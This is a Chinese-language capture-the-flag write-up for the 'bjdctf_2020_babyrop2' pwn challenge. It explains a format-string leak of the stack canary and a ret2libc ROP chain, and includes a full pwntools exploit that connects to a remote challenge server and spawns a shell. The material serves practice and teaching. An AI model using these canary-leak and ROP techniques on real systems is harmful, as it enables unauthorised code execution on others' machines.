环境:WSL2,ubuntu16.04,python2
checksec文件:
PIE保护没开,构造rop链
存在Canary,需要找出Canary的值才能进行地址泄露
文件拖入ida:
在gift函数发现printf格式化漏洞,可以利用该漏洞获取Canary的值,但需要找出输入点参数在栈上的相对位置(找偏移量)
由于scanf限制了只能输入6个字符,因此不能用
AAAA %x %x %x.......
来泄露值,改为:
aa%6$p #6是一步步试出来的,可以从1开始尝试,p是十六进制形式
结果:
aa(6161),%(25),6(36),$(24),p(70) (16进制asll和小端序)
说明格式化字符串的偏移是6
在gift函数中有:
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
使用gdb调试程序:
查看stack的情况:
canary的值位于rbp-0x08处,即rbp-0x08 = 0x20 - 0x08 = 0x18
泄露canary的值:
泄露puts函数的地址:
payload = (0x20-0x08)*'a'+p64(canary)+'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.sendlineafter("story!\n",payload)
puts_addr = u64(io.recv(6).ljust(8,"\x00"))
求出system函数和bin/sh的地址
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
完整exp:
from pwn import *
from LibcSearcher import *
io = remote("node4.buuoj.cn","25836")
elf = ELF("./bjdctf_2020_babyrop2")
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = 0x400887
rdi = 0x0000000000400993 #: pop rdi ; ret
io.sendline('%7$p')
io.recvuntil("0x")
canary = int(io.recv(16),16)
#print hex(canary)
payload = (0x20-0x08)*'a'+p64(canary)+'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
io.sendlineafter("story!\n",payload)
puts_addr = u64(io.recv(6).ljust(8,"\x00"))
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
payload = (0x20-0x08)*'a'+p64(canary)+'a'*8+p64(rdi)+p64(bin_sh_addr)+p64(sys_addr)
io.sendlineafter("story!\n",payload)
io.interactive()
结果: